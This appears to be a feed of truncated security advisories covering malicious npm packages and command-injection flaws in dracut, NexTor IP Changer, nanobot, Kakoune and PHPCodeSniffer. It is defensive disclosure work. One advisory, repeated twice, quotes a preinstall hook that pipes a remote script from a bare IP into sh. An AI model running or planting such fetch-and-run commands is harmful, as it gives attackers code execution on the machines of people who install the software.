Malicious code in dolyame-ui-memoizeweak (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 89cabf491f2003602b491a95e2f258760c5f92aa681b87c239c755aa875b352b On require of the package, index.js loads./helpers.js which downloads a platform-specific executable from one of several hardcoded Cloudflare Workers...

MAL-2026-13573 Malicious code in dolyame-ui-inlineedit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 944e902d908e84b348449868b669df4e39b78079abc91d44aecdba0966ad124f The package presents itself as a data-transformation/UI utility but on require unconditionally loads setup.js and lib/telemetry.js, both of which...

MAL-2026-13593 Malicious code in dolyame-ui-popupcarousel (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d354604a4226c4f6847ce621402caf3b48115d1cbbaa52916d547f1337c38f6 On require of the package, support.js and lib/telemetry.js each fetch a platform-specific native binary from rotating anonymous Cloudflare Workers...

MAL-2026-13500 Malicious code in delivery-ci-dpat (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dcb4f83185cbfb983d8d86e4419deb6b4dcdf74565d5f31ef316c73b34a7948f On require of delivery-ci-dpat, platform.js runs setup at module load: it fetches a platform-specific binary over HTTPS from hardcoded Cloudflare...

Malicious code in ded-pwa-c-cms (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 49417f27ca8728639dfd54e327ed26072b72fe73db14973ae1b39fb55c8ff52b On require'ded-pwa-c-cms', index.js loads platform.js which selects a platform-specific URL path and downloads an opaque binary over HTTPS from...

DEBIAN-CVE-2026-15816

A flaw was found in dracut. The die error-handling function writes its message into a shell script under the initramfs emergency-hook directory without properly shell-quoting it. When the message contains data derived from the DHCP ROOTPATH option, an attacker on the adjacent network who controls...

CVE-2026-15816

A flaw was found in dracut. The die error-handling function writes its message into a shell script under the initramfs emergency-hook directory without properly shell-quoting it. When the message contains data derived from the DHCP ROOTPATH option, an attacker on the adjacent network who controls...

CVE-2026-15816

A flaw was found in dracut. The die error-handling function writes its message into a shell script under the initramfs emergency-hook directory without properly shell-quoting it. When the message contains data derived from the DHCP ROOTPATH option, an attacker on the adjacent network who controls...

[SECURITY] Fedora 43 Update: coreutils-9.7-10.fc43

These are the GNU core utilities. This package is the combination of the old GNU fileutils, sh-utils, and textutils packages...

CVE-2026-48097: Improper Neutralization of Special Elements used in an OS Command

NexTor IP Changer is a command-line tool that leverages the Tor network to periodically rotate a user's IP address. Versions prior to 2.0.0 have a command execution vulnerability due to unsafe use of shell=True with commands that rely on executable resolution through the PATH environment variable...

PT-2026-69113

Name of the Vulnerable Software and Affected Versions NexTor IP Changer versions prior to 2.0.0 Description NexTor IP Changer is a command-line tool used to periodically rotate a user's IP address via the Tor network. The software contains a command execution flaw caused by the unsafe use of...

CVE-2026-19243: Improper Neutralization of Special Elements used in an OS Command

A security vulnerability has been detected in HKUDS nanobot up to 0.2.1. Impacted is the function ExecTool.guardcommand/ExecTool.spawn of the file nanobot/agent/tools/shell.py of the component Shell Allowlist Handler. Such manipulation leads to os command injection. The attack can be executed...

CVE-2026-19245: Exposure of Sensitive Information to an Unauthorized Actor

A flaw has been found in HKUDS nanobot up to 0.2.1. The impacted element is the function ExecTool.preparecommand of the file nanobot/agent/tools/shell.py of the component Login-shell Environment Handler. Executing a manipulation can lead to information disclosure. The attack requires local access...

PT-2026-69125

Name of the Vulnerable Software and Affected Versions HKUDS nanobot versions prior to 0.3.0 Description An OS command injection flaw exists in the Shell Allowlist Handler component within the nanobot/agent/tools/shell.py file. The issue resides in the ExecTool. guard command and ExecTool. spawn...

PT-2026-69114

Name of the Vulnerable Software and Affected Versions NexTor IP Changer versions prior to 2.0.0 Description NexTor IP Changer is a command-line tool used to rotate IP addresses via the Tor network. The application executes privileged system commands using sudo and shell=True within its logic. In...

PT-2026-69148

Name of the Vulnerable Software and Affected Versions HKUDS nanobot versions prior to 0.3.0 Description A flaw in the Login-shell Environment Handler allows local attackers to cause information disclosure. The issue exists in the ExecTool. prepare command function within the...

PT-2026-69157

Name of the Vulnerable Software and Affected Versions Kakoune versions prior to 2026.05.21 Description The bundled autorestore.kak script, which is enabled by default, allows the execution of arbitrary shell and editor commands when a user opens a file if malicious backup files are present...

Malicious code in internallib_v514 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...

MAL-2026-13483 Malicious code in internallib_v514 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...

CVE-2026-67434

PHPCodeSniffer tokenizes PHP files and detects violations of a defined set of coding standards. Prior to versions 3.13.6 and 4.0.2, PHPCodeSniffer contains a command injection vulnerability in the code that generates the Gitblame, Hgblame, and Svnblame report formats. As a result, running...